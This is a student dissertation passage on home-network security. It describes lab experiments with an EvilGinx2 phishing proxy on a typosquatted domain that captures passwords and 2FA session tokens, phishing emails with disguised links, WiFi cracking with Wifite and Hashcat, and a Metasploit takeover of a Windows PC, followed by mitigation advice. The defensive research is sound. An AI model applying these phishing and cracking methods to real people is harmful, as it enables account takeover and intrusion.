Once the appropriate philosophy has been selected, it must stay consistent throughout the project, because it affects all aspects of how the experiment is carried-out.
An ‘inductive’ approach describes the experiments in which data is collected first, and then the theory developed after examining the results[77], [78]. 
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[bookmark: _Toc6769040][bookmark: _Toc6768150][bookmark: _Toc6768048][bookmark: _Toc6765464][bookmark: _Toc70023493]Figure 17 - An inductive approach, image courtesy of [75]
Alternatively, a ‘deductive’ approach is where a theory is created first, and then a research strategy is developed which would test this hypothesis[77], [78]. 
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[bookmark: _Toc6769041][bookmark: _Toc6768151][bookmark: _Toc6768049][bookmark: _Toc6765465][bookmark: _Toc70023494]Figure 18 - A deductive approach, image courtesy of [75]
The approach of this project will be ‘Deductive’ as a hypothesis is first created based on existing research, then the results of the experiments either confirm or reject it.

[bookmark: _Toc7164854][bookmark: _Toc70023126]3.1.2 Research strategy 
The type of research used here will be those described as ‘experimental’ – an experiment designed to prove or disprove the hypothesis by running tests, then carefully recording the results. 

[bookmark: _Toc70023127]3.1.3 Research Choice
Experimental research results can be validated by duplication, which although time consuming, strengthens the experiment as consistent results demonstrates accuracy. This fourth layer of the research onion is to decide whether to use a single methodology, or to combine quantitative and qualitative together.  The research choice for the experiments is ‘multi-method’, even though both qualitive and quantitative techniques are used, the results won’t be combined into a single data set (like they would be in ‘mixed-method’)[81].

[bookmark: _Toc70023128]3.1.4 Research Time Horizon 
Data will be collected repeatedly over an extended period, which is described as a ‘Longitudinal Time Horizon’[73]. A Gantt chart plotting the time line has been created for this project and can be seen in Figure 19:
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[bookmark: _Ref67240006][bookmark: _Toc70023495]Figure 19 - A Gantt chart for project time management 
 
[bookmark: _Toc70023129]3.1.5 Data Collection Methods
The final layer of the research onion is concerned with how data is collected and analysed, and whether the data is primary data or secondary. In this experiment – the data collected will be primary as it will be obtained directly from the source, (secondary data is also known as ‘indirect data’)[82].

[bookmark: _Toc70023130]3.1.6 Experiment’s Merits
These experiments are valid because the thorough research completed earlier shows that the threats being investigated are real-world, current threats that people are being affected by every day, all around the world. Each experiment will be completed many times to ensure the results are reliable; they will be described in detail along with screen shots so that the reader can recreate these findings themselves. It is generalisable in so much as the latest threats need to be researched and investigated carefully, but no specifically because there are new threats being created all the time, so they become out-dated very quickly.

[bookmark: _Toc70023131]3.2 Hardware
The hardware to be used in these experiments will be a Windows 10 PC – this is to run the virtual machines to run the phishing attacks in a safe environment. The WiFi attacks will require real-world equipment: A BT router, a Netgear router, 2 WiFi extenders, a laptop, an Android tablet and another laptop running Kali Linux, a USB token for MFA. This arrangement will keep the hacking tools completely off the network and not connected to the internet for safety reasons. In order to be able to offer a recommendation of how these attacks can be blocked – a Firewalla device will be connected to the router. An Alfa USB adaptor for the WiFi attacks and finally a U2F security key.

[bookmark: _Toc70023132]3.3 Software
The virtual machines will be run using a program called ‘VirtualBox’, Windows and Android are to be installed as virtual machines, and will also be installed on the physical devices. The Firewalla device has its own software preinstalled, and is controlled through the Firewalla app. Kali Linux will be used, which has the WiFi attack software, as well as the Phishing and Social-Engineering tool kits included: EvilGinx2 for MITM attacks, and Wifite which is a collection of many WiFi hacking tools, along with Hashcat for decrypting the captured WiFi passwords. Also, Nmap to recreate the effect of a Shodan attack on internet-facing devices, aswel as Nessus and Metasploit to scan and attack home computers after gaining access to the home network. 

[bookmark: _Toc70023133]3.4 Related work
There are countless research articles written on computer security, the challenge is finding the ones that are relevant to this research, understanding their findings and then building on other people’s research, while also hopefully finding something new. The main published work that is related to this project is as follows:

[bookmark: _Toc70023134]3.4.1 Analysis of Security Attacks In A Smart Home Networks
Saxena, Sodhi and Singh wrote about the security flaws in smart home networks[83]. This inspired other background reading to gain an understanding of the various subjects referred to. It starts by describing how smart homes can introduce security weaknesses even just by using devices such as security cameras and talks about the security implications of protocols used. The paper then describes various attacks that home networks are subjected to, such as ‘Eavesdropping’, ‘Masquerading’, ‘Denial of Service’ (DoS) etc. and gives an overview of attacks such as Wormhole, Sinkhole and MITM attacks. There wasn’t a huge amount of information on each one, but certainly enough to start me on the right track to researching further – a ‘stepping stone’ for me to research further into the categories it brought to my attention. 

[bookmark: _Toc70023135]3.4.2 A Survey of Man in the Middle Attacks
Conti, Dragoni and Lesyk created a complete compilation of the various MITM attacks that are common today[38]. There were no experiments involved, yet this has been very useful for me to see how many different types of MITM attacks there are. Many are clearly intended for networked enterprise computers, but there are also some which affect home users, such as fake websites which sit between the real site and the home issuing false certificates to each side. This led me to investigate further into this area and develop one of my experiments based on ideas I first read about here. The paper explains how broad the MITM attacks are, for example how they can be carried out in different communication channels such as GSM, (LTE), NFC, Bluetooth and Wi-Fi. Also, it gave me a good background of many different types of MITM attacks – from DHCP spoofing, ARP spoofing, DNS spoofing etc. Some of these could be used in public WiFi hotspots, but I focused my experiments on home networks.

[bookmark: _Toc70023136]3.4.3 The psychology of security for the home computer user
Howe, Ray, Roberts et al. delved into an aspect of computer security which is often overlooked – the human element. This describes how even the most stringent security system can be ineffective if a human user ‘invites’ the hackers in by unwittingly clicking a link that maybe looks legitimate, but is in fact handing over control to the criminals[84]. Several ideas are explored such as employees are given training, but home users can purchase a computer with no prior knowledge. The purchase doesn’t come secure out of the box, but requires additional Anti-virus software, settings within applications often need to be setup correctly, appropriate choices of passwords, regular updating etc. In other words – its quite hard to do it properly, and without any guidance to ensure they are safe online- it can be fairly easy for hackers to scam home users. It reviews studies about the perceptions, attitudes and actions of home users; and reports that even though the government have created websites to educate the public, very few people were familiar with them or their message. This was written in 2012, and it seems like not much has changed in this regard since then. People generally underestimate risk, most people don’t understand cyber security, and don’t spend enough time ensuring they are protected.


[bookmark: _Toc70023137]3.4.4 Social Engineering Toolkit - A Systematic Approach To Social Engineering
Pavkovi explains the art of exploiting human’s qualities to extract information, which is useful in later stages of system penetration[85]. This paper discusses the multi-step process of gaining entry, how Social Engineering (SE) tools are used to start the process, such as Phishing emails and Metasploit. Then how other tools such as Java Development Kits are deployed as well as Ettercap for DNS spoofing attacks. Pavkovi also describes how Sendmail and Apache web servers are used for attack vectors.
This was useful for me because it laid out the entire process, made me realise what was involved in most attacks and inspired my way of thinking when designing my own experiments. There wasn’t any experiments carried out, so nothing I could build from but was very useful in bringing together and describing many of the common attacking tools such as spear-phishing, website attack vectors, creating payloads, website cloning etc. In his conclusion, he mentions the importance of staff education in SE because there are so many tools “aimed at exploiting the human element”.




[bookmark: _Toc70023138]Chapter 4. Design & Implementation
This chapter discusses the design of the experiments, the methods and the equipment used to reach the desired outcome. The attacks chosen were to show the type of threats that home networks encounter; the equipment used was deliberately similar to a typical home network: A windows laptop, a wireless router, a wireless range extender, emails and websites that an every-day home user would be familiar with. 

[bookmark: _Toc70023139]4.1 Experiment 1: Man-In-The-Middle Attack
The network design started by using virtual machines (VM’s) inside a program called ‘Virtualbox’. This is a good way to do penetration testing as it is completely separated from the main computer and home network used, so malicious tools can be used in relative safety – see Figure 20:
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[bookmark: _Ref67240360][bookmark: _Toc70023496]Figure 20 - Virtualbox running networked, virtual machines.

The disadvantage with this ‘closed system’ network of virtual machines is that modern day phishing scams couldn’t be recreated because a public IP address was needed. To achieve this a cloud hosting provider called ‘DigitalOcean’ was used; they offer cloud computing services at a variety of prices depending on performance requirements. Hosting the virtual machine created a public IP address and allowed DNS settings to be pointed to the VM. 
Also, a website domain was purchased so that the URL wouldn’t look suspicious; outlook.com had already been taken by Microsoft, so in order to get something similar, the word ‘outlook’ was searched for using dnstwister.com. This site finds similar looking domains and shows which ones are available to purchase. By changing the domain to 0utlook.website (with a zero at the beginning) it was very cheap to buy. The DNS settings were then pointed to the DigialOcean site as shown in Figure 21:
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[bookmark: _Ref67242752][bookmark: _Toc70023497]Figure 21 - Domain name purchased and pointed to DigitalOcean
With the hosted virtual machine running Debian, a Man-In-The-Middle attack called ‘EvilGinX2’ was downloaded, setup and launched. This creates a fake website that looks identical to the genuine site, but when someone tries to login, they inadvertently give the hacker their email address and password. Also, if 2FA is setup – it is designed to capture the cookie which stores the session token; stealing this allows the hacker to login to the victim’s facebook/linkedin/instragram etc - whichever it is setup for.
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[bookmark: _Ref67244782][bookmark: _Toc70023498]Figure 22 - The hosted virtual machine was setup to run EvilGinx2

The DNS settings of DigitalOcean were set specifically for the attack (see Figure 22).
This virtual machine had the benefit of a public IP address – see the top left of Figure 23:
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[bookmark: _Ref67583743][bookmark: _Toc70023499]Figure 23 - The hosted virtual machine had a public IP address
The virtual machine was running Debian, but EvilGinx2 was also installed – this comes with pre-set phishing scams, and the hacker choses which one they want to run:
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[bookmark: _Toc70023500]Figure 24 - EvilGinx2 was setup on the hosted virtual machine
The purchased domain name was added to the setup, as well as the IP address of the hosted, virtual machine. When this was run, it created the SSL certificates and it was ready to run.

This experiment was inspired by the literature review of MITM attacks and the final design is like that shown in Figure 8, that is why it was designed this way – to accurately recreate the real-world attacks that homes actually face by real criminals; that is the best way to know that the recommendations have actually been effective. 

[bookmark: _Toc70023140]4.2 Experiment 2: Phishing Email
This experiment was chosen because it is such a common threat to home users around the world. The emails are getting more professional, believable and harder to recognise as fake. The advantages of this method are to show how the attack created in the first experiment would be used in a real-world attack. The disadvantage is that it is no longer in the safe, closed system of a virtual machine; to mitigate any problems of this method the email was not distributed and EvilGinX switched off after the experiments.  The software used was Microsoft Outlook as that is the most commonly used email program, and also ties into the domain name purchased.

Once Evilginx2 had created the fake site, it also created a URL that a victim can click and open the counterfeit page. This can simply be emailed as text to a victim, but a more authentic looking method is to embed the link inside an image. This way the victim’s attention isn’t drawn to the actual URL at all. This is very simple to do, and in this case the URL was added to an image of a Facebook request:

[image: ]
[bookmark: _Toc70023501]Figure 25 - Link Hidden Behind Image
This image was simply taken from the internet and edited to remove the warnings, then put into the email and used for the exact purpose the original image was warning against: 

[image: ]
[bookmark: _Toc70023502]Figure 26 - An image from the internet was edited to create a Phishing email
So when the recipient clicks anywhere on the image, they are taken to the replica website. Most phishing scams are carried out on a large scale, where they send thousands of emails a day in the hope that a few will reply. To do this an email tool is required – something like https://mailchimp.com. This is a website for people who wish to send out bulk emails (not just spam, but anybody looking to send marketing emails to many customers at once for example). Large companies often have specific tailor-made ‘Spear-Phishing’ attacks sent to them to increase their chance of success, but personal accounts and home networks are more often the victims of mass-mailer attacks. A tool in Kali Linux was used called ‘Sendmail’ that is designed to create phishing emails – see Figure 27:

[image: ]
[bookmark: _Ref69662461][bookmark: _Toc70023503]Figure 27 - ‘Sendmail’ Phishing email creation
[bookmark: _Toc70023141]4.3 Experiment 3: WiFi Attacks
This experiment was chosen because WiFi attacks can be so damaging to a home or business network, and most people don’t ever consider how secure their wireless networks are, how up to date their wireless security standard is etc. The advantage of this method is that real world wireless hardware can be tested – both new and old. Care must be taken not to attack a neighbours’ network as this would actually break the law.

An Alfa WiFi adaptor was used to scan for networks in Kali Linux (which was tried running as a virtual machine, and a ‘live’ version from a USB stick).  With the Wlan adaptor setup inside VirtualBox, a few different attacking programs were tried before settling on ‘Wifite’. This is a combination of several programs and can automate the process of revealing WiFi passwords if they are simple text words. If not, several extra steps can be taken to decipher passwords.   
The setup of this experiment involved equipment such as:

· A BT wireless router and a laptop
[image: ]
[bookmark: _Toc70023504]Figure 28 - The BT router and laptop used for the WiFi experiment
BTs latest model which has strong wireless security preinstalled.

· An Alfa wireless dongle connected to the computer running Kali Linux
Chosen for its compatibility with Kali Linux
[image: ]
[bookmark: _Toc70023505]Figure 29 - The Alfa Wifi Adaptor that enabled Kali Linux to scan for networks.
Specially, a program called Wifite.
· Wireless extender plugs:

[image: ]
[bookmark: _Ref68987321][bookmark: _Toc70023506]Figure 30 - WiFi Extension powerline plugs that extend wifi signals
One piece connects to the router and uses the house wiring to transfer a broadband signal to another part of the house. The other piece plugs into an electric socket on the other side of the house and sends out a WiFi signal (which has its own SSID and password). They work well for large houses, or when struggling to get a WiFi signal through thick walls etc. 

· An ethernet to WiFi adaptor:

[image: ]
[bookmark: _Toc70023507]Figure 31 - An Edimax ethernet to WiFi Adaptor
These experiments were designed to test the equipment listed above, which were chosen because they are representative of what most people have in their homes. WPA3 wasn’t tested because that generally isn’t used as a mainstream standard in most home networks currently. 

[bookmark: _Toc70023142]4.4 Experiment 4: Shodan Recreation
This experiment was chosen to show that in the real world, websites and programs such as www.Shodan.io can search the world’s internet connected devices and integrate with programs such as ‘Nmap’, and exploits such as ‘Metasploit’. This means they can be used like a search engine, to find devices with weaknesses. The advantage of doing it this way is that it is safe, it’s not risking illegally attacking anybody’s network; but the disadvantage is that it’s not exactly the same as the real-world attack would be. 
To demonstrate how this works, without actually scanning real-world devices, I ran the Nmap program on my network just to show what information would be available to hackers. Another program used was ‘Port Scanner’ which scan the network looking for open ports – this isn’t as thorough as Nmap, but is very fast. 

[bookmark: _Toc70023143]4.5 Experiment 5: Windows Attacks.
This experiment was done to demonstrate the damage that can be caused once an attacker has access to the same network. The advantages of this experiment are that it shows the importance of keeping software and operating systems up to date, why its best not to connect to public networks such as a coffee shop or hotel’s WiFi because other people on the network could be launching attacks such as this because they are on the same network. The disadvantages are that the threats that work today could be patched up soon and this particular experiment may not be able to be recreated in a few days’ time. But there are always new vulnerabilities being found so there will be a similar attack available instead.

Once an attacker has gained access to the network by decrypting the WiFi key and connecting their laptop to the network, if the user is not using WPA3 (and most people aren’t in 2021), then attacks can be launched against the home devices. A tool such as ‘Nessus’ can be used to find weaknesses, and then specific attacks can be used to gain access to the machine, depending on what their particular weak-points are. For example, Metasploit is a powerful tool commonly used by hackers, and can take advantage of weaknesses in programs or operating systems; these are often patched once the manufacturer is aware of it, but there is often a window of opportunity for the hackers to use the exploit once it has been discovered, and before it has been patched. Windows 10 is much better than previous versions of windows at automatically updating without needing any action from the user, but still not perfect.

Another tool used was called ‘Nessus’ – a comprehensive scan of the network which can also reveal weaknesses in operating systems – Figure 32 shows the installation in Kali Linux:

[image: ]
[bookmark: _Toc70023508]Figure 32 - Nessus being installed in Kali Linux
This was setup as a virtual machine using VirtualBox.


[bookmark: _Toc70023144]Chapter 5. Results and Discussion
This chapter will discuss the results of the experiments conducted in Chapter 4. I will describe the successful and unsuccessful experiments, then later on I will describe problems I encountered, and finally how these attacks can be mitigated.

[bookmark: _Toc70023145]5.1 Results of Experiment 1: - MITM Attacks
It just appeared to be a genuine Facebook login screen (also LinkedIn and Instagram were created without problems).

[image: ]
[bookmark: _Toc70023509]Figure 33 - The fake Facebook page on an iPhone
The site logged in and if the victim hadn’t noticed the URL wasn’t correct, probably would never suspect anything untoward had happened. (A hacker specifically targeting Facebook would have bought a domain which was similar to Facebook rather than outlook).
As soon as the victim’s details were entered, they were displayed on the virtual machine – 


[image: ]
[bookmark: _Toc70023510]Figure 34 - Victim's details were captured
To test properly, I created a temporary email address through a website - https://temp-mail.org/en/ : 
[image: ]
[bookmark: _Toc70023511]Figure 35 - A temp. email address was created

This email address was used to create a test LinkedIn page. 2FA was setup and when the correct code was entered, the session token from LinkedIn was displayed on EvilGinx – 
[image: ][image: ]
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[bookmark: _Toc70023512]Figure 36 - 2FA was tested with SMS and Authenticator App

Using an authenticator app is said to be more secure because it prevents hackers using ‘Sim Swapping’ techniques[63]. But in this case because the victim had clicked on the phishing link, both 2FA techniques gave the session token to the attacker: 

[image: ]
[bookmark: _Toc70023513]Figure 37 - LinkedIn’s Username, Password and Session Token all Captured
The captured session cookie could easily be added to a cookie editor extension in Chrome of Firefox to allow the hacker to login with the victim’s details from anywhere in the world.
The same experiment was also tried with other websites such as Facebook and Instagram, and EvilGinX created authentic looking sites: 

[image: ]
[bookmark: _Toc70023514]Figure 38 - An Authentic Looking MITM Site Was Created

As soon as the victim logged into this site, their credentials were exposed to the hacker instantly which can be seen in Figure 39, where the email address, password and 2FA authentication tokens were all captured: 

[image: ]
[bookmark: _Ref69660378][bookmark: _Toc70023515]Figure 39 - Facebook's Login Details And 2FA Were Captured.
[bookmark: _Toc70023146]5.2 Results of Experiment 2: Phishing Emails
Once the URL had been created by EvilGinX, it could then be added to emails so that victims would click on the link. The phishing email was sent to several addresses, and received on a variety of devices – a windows computer, an iPhone, a tablet etc – but in all cases the result was the same. The email came through without any warnings about its authenticity, no antivirus flagged up to say there was anything suspicious about the included link.
These tests were to find the most effective method of getting the link clicked on without raising any suspicion. 
The first attempt to create a phishing email was just adding a link to the bottom of an email, everyone could see the destination address, but hopefully the fact that it looks similar to a genuine website would help it ‘fly by’. Then this was improved by hiding the link behind text such as “Click here to Resolve”. This way there was less attention drawn to the URL. 

Also, a tool in Kali Linux was used to create Phishing emails called ‘Sendmail’.


[bookmark: _Toc70023147]5.3 Results of Experiment 3: WiFi Attacks
Several wireless devices were attacked using a program called Wifite. This first scans the area for available networks, then de-authorises the existing devices from the network. When these devices attempt to reconnect with their stored security settings, these details are captured:
[image: ]
[bookmark: _Ref68819022][bookmark: _Toc70023516]Figure 40 - Wifite can capture handshakes of available WiFi networks

This was tested on a variety of wireless devices and the results can be broken down as follows:
The first wireless device that was attempted to be hacked was an aging ethernet to WiFi adaptor which only used WPA security – 
 
[image: ]
[bookmark: _Toc70023517]Figure 41 - An ethernet to WiFi adaptor with WPA security
This was no challenge for the Wifite program as it found the password in 4 seconds! – see Figure 42:

[image: ]
[bookmark: _Ref69661455][bookmark: _Toc70023518]Figure 42 - A Simple WPA Password Was Revealed In 4 Seconds
This is a screenshot of the setup page to show the password that was setup:

[image: ]
[bookmark: _Toc70023519]Figure 43 - The WPA password of the Ethernet to WiFi adaptor

Next, an attempt was made to crack the WiFi security of the BT router which has a much more complex password with a modern security standard installed:

[image: ]
[bookmark: _Toc70023520]Figure 44 - BT's latest routers come with strong security and long passwords preinstalled.
This WiFi hacking attempt wasn’t successful as the program failed to get access to the router:

[image: ]
[bookmark: _Toc70023521]Figure 45 - BT's router 'locked' the access point
The next WiFi device that was tested was a Netgear Nighthawk wireless router which had WPA2 security, but a fairly simple password. 

[image: ]
[bookmark: _Toc70023522]Figure 46 - The WiFi of a Netgear Nighthawk was tested (used in homes and businesses)
This was cracked by Wifite fairly easily. It took a few more minutes that the first one, but not long.
[image: ]
[bookmark: _Toc70023523]Figure 47 - WPA2 with a simple password cracked fairly quickly and easily
 
The last test was the TP Link Powerline wireless extender (see Figure 30), which come with WPA2 security pre-set, using only numbers, Figure 48 shows the actual password: 
[image: ][image: ]
[bookmark: _Ref68819319][bookmark: _Toc70023524]Figure 48 - The WiFi password of the Powerline extender

This proved to be more challenging than the previous attempts – it managed to capture the handshake and find the key, but wasn’t able to decrypt the key itself.

[image: ]
[bookmark: _Toc70023525]Figure 49 - Handshake captured, key found, but wasn't able to decrypt the key
If this password had been a common word, the program might well have revealed it, but because it was 8 numbers (like all TP Link devices seem to use) it was stored as an encrypted file. This file was then taken from the virtual machine, into windows and used in a program called ‘Hashcat’: 

[image: ]
[bookmark: _Toc70023526]Figure 50 -  The command to run Hashcat

This needs quite a powerful graphics card to run, and when tried on an integrated graphics, said it will take 1 day, 16hours! 

[image: ]
[bookmark: _Toc70023527]Figure 51 - Over 24 hours to decrypt the file using a computer with integrated graphics.
This was cancelled and retried on a more powerful computer with a new gaming graphics card, the decrypting was completed under 30 seconds! 
This demonstrates the difference in power between onboard graphics and separate VGA cards. Some laptops have quite powerful graphics now, but what could happen is WiFi details are captured on a portable laptop, then decrypted on a powerful desktop elsewhere.

Figure 51 Shows the WiFi password that was decrypted from the capture shown in Figure 39, and displays the same password shown in Figure 47. This would be all the information required to join the network either for the scammer to use someone’s internet for illegal activity, or to gain access to other devices on the network.
[image: ]
[bookmark: _Ref68818936][bookmark: _Toc70023528]Figure 52 - Hashcat running the same file on a computer with a gaming VGA



[bookmark: _Toc70023148]5.4 Results of Experiment 4: Shodan Recreation
I ran Nmap on the experimental network setup with a BT router, but there were so few devices connected, there wasn’t a great deal of information to display. So I ran it again on my home network to see what information it would find, and it gives an idea what kind of information a hacker would get after running such tools either from outside the house (e.g. Shodan), or inside (after successfully finding the WiFi code and connecting to the network):

[image: ]
[bookmark: _Ref69331843][bookmark: _Toc70023529]Figure 53 - Nmap showing the results of scanning the network
Once the network had been scanned, it showed the devices that were connected, such as the router at 192.168.1.1 and a Windows computer at 192.168.1.2 (see Figure 53). Once this was discovered – the scan was directed at the computer’s IP address, to find open ports and other weaknesses: 
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[bookmark: _Toc70023530]Figure 54 - Nmap showing the results of scanning a Windows PC
This tool showed a list of open ports that can then be used to launch an attack from anywhere in the world (this is a simulation to show the type of information that a hacker can have access to). Shodan also allows for ‘personalising’ scans by adding scripts so it could be set to try common usernames and passwords for every internet-facing device it comes across.

[bookmark: _Toc70023149]5.5 Results of Experiment 5: Windows Attacks
The weakness identified in experiment 4 showed what type of exploits could be used to gain access to that particular machine, the network scanners displayed what operating system the victim is using, what ports are open etc. 

The scan with Nessus revealed security flaws in the victim machine that dictated what type of attacks would be effective: 
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[bookmark: _Toc70023531]Figure 55 - Nessus identified weaknesses in the victim’s computer
This attack was run with Kali Linux, using the ‘Metasploit’ attacks on a Windows computer:
[image: ]
[bookmark: _Toc70023532]Figure 56 – The setup of the Metasploit attack
This was then run and successfully connected to the windows computer, so I was able to browse the files and folders, edit, delete, read, copy etc any of the information stored on that machine: 
[image: ]
[bookmark: _Toc70023533]Figure 57 - The exploit enabled the hacker to gain access to the victim's computer.
{Attacks inspired by my own work from another module[11]}.


[bookmark: _Toc70023150]5.6 How to Prevent the Attacks
In order for home users to be able to avoid being scammed by these types of attacks, many methods of preventing them have been tested and most effective ways are listed below:

1. When setting up WiFi, never use WEP as it can be cracked so easily, WPA is better, but nearly all WiFi routers have WPA2 now which is a much stronger security system and much harder to hack. Chose AES if there is an option (as there was in Figure 48). Use WPA3 if possible, don’t hide SSIDs because surprisingly that is less secure. Use long, complex passwords with a mixture of letters, numbers and special characters – something that wouldn’t be in a list of common passwords.
2. Always Use 2FA or MFA (Multi-Factor Authentication) where available – and use the authenticator apps rather than the text message option. Even better is to use a USB token, but not all websites support this yet. This was found to be the best defence. 
[image: ]
[bookmark: _Toc70023534]Figure 58 - An example of a USB 2FA token.
3. If Logging into email, Facebook, LinkedIn, Instagram etc on a mobile/tablet – it is always best to use the dedicated app rather than rely on an email link to open up a browser. If using a computer, bookmarks are a good idea to ensure the genuine site is being accessed. 
4. Use spam filters on incoming email, but also be wary of emails that require a link to be clicked on. 
5. Always check and double check the URL that is being used – it is no longer enough to just check to see if there is a padlock displayed at the top left.  There are many sites setup that look very similar to the original but keep in mind a fake site could say something like – postoffice.collection-point.com – which could look authentic because the word PostOffice is in there, but it is at the wrong place. This actual site is collection-point.com, and even though the phishing email may allude to a collection, the domain name is nothing to do with the post office. Most people are unfamiliar with domain names and this is why so many of these scams are successful. 
6. Use VPN’s if possible or something like the Firewalla which adds this functionality. 
[image: ]
[bookmark: _Toc70023535]Figure 59 - A Firewalla device connected to the home WiFi router
7. Another benefit of the Firewalla device was that it notifies when a new device is added to the network, so if somebody has cracked the WiFi password – it will alert (and can block) a new user: 
[image: ]
[bookmark: _Toc70023536]Figure 60 - The Firewalla app alerts when a new device connects to the network
8. 7.	Always ensure the operating system and other software is up-to-date so that any known vulnerabilities have had chance to be patched.
9. 8.	Always use third party antivirus software such as Norton, Kaspersky etc as Windows Defender has proven to be insufficient.

[bookmark: _Toc70023151]5.7 Problems Encountered During the Experiments
This section is to describe some of the difficulties experienced while designing and carrying out the experiments. Why they caused a problem and how these hurdles were overcome.

1. The first domain I tried was 0utlook.uk purchased through www.godaddy.com, but it seemed like their security wouldn’t allow the DNS settings to be pointed to DigitalOcean. Once I purchased another through www.namescheap.com, it worked straight away. This took many hours to diagnose. 
2. The EvilGinx2 attacking program worked on most of the pre-formatted websites, but not on outlook, or office365. It appeared that Microsoft had realised this was not a genuine connection and refused the handshake. Which was a shame because I didn’t realise that until after I had purchased 0utlook.uk and 0utlook.website. 
Outlook started working for a few seconds, before rejecting the login and disconnecting – see images below:
[image: ]
[bookmark: _Ref67581133][bookmark: _Toc70023537]Figure 61 - Outlook.com started working, although a reduced site

[image: ]
[bookmark: _Toc70023538]Figure 62 - After a few seconds, Microsoft rejected the connection
[image: ]
[bookmark: _Toc70023539]Figure 63 - A close-up of the unauthorized text from Microsoft

3. Many chrome extensions and Antivirus programs didn’t recognise the Phishing site as a scam. I assume it’s because I didn’t distribute it, so I guess they couldn’t have found out about it so never added it to their list of sites to block. Tested with Mcafee, Kaspersky, Norton, JustBlock extension, Mcafee SafeSite, Netcraft extension etc. -  none raised any alarms that anything was wrong while logging into the 0utlook.website:

[image: ]
[bookmark: _Toc70023540]Figure 64 - The Phishing site got straight past many programs designed to block scams.
4. The computer’s built-in Wireless adaptor wouldn’t work with Kali Linux – it didn’t support ‘monitor mode’. I purchased an ‘Alfa’ wireless USB adaptor which supports the injection and monitoring of packets into a wireless network because it has a supported chipset.
5. BT’s router seemed too secure for the generic settings in the Wifite program, no doubt with enough time and resources it could be hacked, but to a casual attacker looking to use premade tools (which is what I wanted these attacks to be based on) it appeared to be ‘locked’:

[image: ]
[bookmark: _Toc70023541]Figure 65 - BT’s Default Router Settings Seem To Be Secure
Even when the password was changed to a less secure password, the Wifite program still failed to connect:

[image: ]
[bookmark: _Toc70023542]Figure 66 - The password was simplified, but hacking attempts still failed
6. The meterpreter attack didn’t seem to work when Kaspersky Security software was installed, it recognised the exploit and removed it, but many people believe that Windows is secure and rely on its ‘Windows Defender AntiVirus’ for protection; but this experiment showed that a third party program is essential.


[bookmark: _Toc70023152]Chapter 6. Conclusion & Recommendations

To conclude, this report started by reviewing the literature regarding home networks, how secure they are and how common attacks could be avoided by an average computer-user. Chapter 1 examined a typical home network, gave a brief overview and set out the aims and objectives of this project.
Chapter 2 reviewed the existing literature covering many aspects of computer security, concerning modern homes and the threats they face.  The most common threats were identified and described, such as the many different types of Man-In-The-Middle attacks, WiFi hacking, Phishing and other types of Social Engineering scams. Also covered was the Internet of Things, and how they can introduce security weaknesses into a home or office, with some background of Shodan and how it could be used to attack internet facing devices. Some real-world examples were examined to see how extreme these attacks can be, also some statistics to show how frequently they are happening in order to make the reader aware of how serious and frequent they are. 
This research inspired experiments which tested home networks, home computers and their users to see how they could be affected by these threats. This was then followed by a description of how these attacks could be avoided in the hope of helping people avoid falling victim to this kind of scam. 
Chapter 3 addressed the approach to methodology to be used during the experiments, how the data needed to be recorded, time management, planning and preparing properly to ensure the experiments were a success. Also, a brief overview of some related work which influenced this project.
Chapter 4 delved into the specific experiments intended to be carried out, how they were to be setup, what hardware and software would be needed – essentially making a detailed plan before starting. The next chapter explained the results of the experiments; what worked and what didn’t. This was followed by a section explaining how these attacks could be avoided / methods of preventing these types of attacks. Finally concluding with the problems that were encountered while completing these experiments.

The aim of this project was to recreate a home network, try to test its security by attempting to ‘break-in’ to it, then find ways to prevent these types of intrusions from happening in the future; this aim was fulfilled by the experiments designed and carried out in Chapters 4 and 5, along with ways to mitigate this type of attack for example by using devices such as ‘Firewalla’, 2FA, USB tokens etc (explained in 5.6). Many times, social engineering attacks can be avoided by people being made aware of these types of scams, more informed of what a genuine link looks like, and taking time to carefully consider if this phone call or email is from who they say they are. The additional recommended hardware should only be used to reinforce cautious behaviour, not instead of it.
The benefits of this project are that it has brought together many different aspects of home security, from psychological dupery, to complex Man-In-The-Middle attacks, all of which would be useful for home users and home workers to become familiar with. It was deliberately written in plain language that anyone can understand, and can hopefully be used as a guide to help the reader recognise these scams, and prevent people from falling for them. It can be used as a platform for other researchers to delve deeper into subjects from where I left off.

Considering the whole project, it’s fair to say that on the whole, it has been a success – the experiments met the objectives and support other researcher’s work. A literature review was written, after a thorough background reading, summarising the current knowledge. A network was setup and attacked in a variety of ways, which lead to the development of methods of preventing the attacks, then a written recommendation was created. This directly responds to the objectives set out in Chapter 1.


[bookmark: _Toc70023153]Suggestions for Future Work 
This project covered many areas of security, but not too deeply into each one. This was done to show what existing attacks are already being used, but each one can be taken further by ‘personalising’ the attack: For example, on the Windows Meterpreter attack, a standard attack was used that comes included in Kali Linux. But more up-to-date attacks can be created which are specifically ‘tailored’ to the weaknesses shown on Nessus. Creating a specific ‘Payload’ makes the attack more likely to succeed, even against more recent hardware and software. 
Because WPA3 is not widely adopted yet, that wasn’t included in these experiments, but no doubt will become more common in the future so that would also be a good experiment to try - finding weaknesses in the new protocol. 
The ‘Shodan Recreation’ section could be further expanded upon by creating scripts that hunt the entire web for specific devices, but care must be taken here to stay within the law. 
Other future work could include setting up a more advanced network with many IoT devices connected and trying to attack the network through its web-facing connection and public IP address to see if there are any weakness introduced because of the IoT devices (not just relying on Shodan). 
Modern cars have more and more technology built into them now, so it would be an interesting project to test the security of a modern car (rather than home) or that maybe a connected car has introduced a weakness to the home… 



[bookmark: _Toc70023154]Chapter 7. Reflection

Reflecting on the work done for this project has made me think about how I approach many aspects of my working life – such as how important it is to thoroughly plan jobs carefully – especially time management, remembering to allocate time for any paperwork required, keeping notes for future work etc. Generally taking time out to consider each piece of work before and after; it doesn’t always need to be a lot of time but it’s very easy to get into a routine of rushing from one to another without spending a few minutes thinking about how each job should be planned for, and afterwards to think about how it could have been done better so next time is more efficient than last time. This is a habit I have started to develop for many aspects of life after completing this project.

I actually learned a lot about computer security, – it certainly opened my eyes to how most attacks are carried out, some of the statistics surprised me about the scale of worldwide cybercrime nowadays.  Looking back at the project now that it is finished, it doesn’t read like a huge amount of work (even though it was). I think that is because I didn’t document the whole process of learning how these attacks work and figuring out how to create them, how many times it didn’t work before finally getting some results. This could make the project seem like it hasn’t taken much time, but the trial-and-error failures took much longer than doing the experiments once I had learned how to do it successfully. I suppose that is similar to the process a real-world hacker would go through – it may take a long time to learn how to devise an attack, but once it is done, it can be repeated many times fairly easily. With a lot of people having a lot of spare time during the pandemic, I’m sure lots of bored unscrupulous people have been sat at their computer teaching themselves to become proficient at this type of scam.
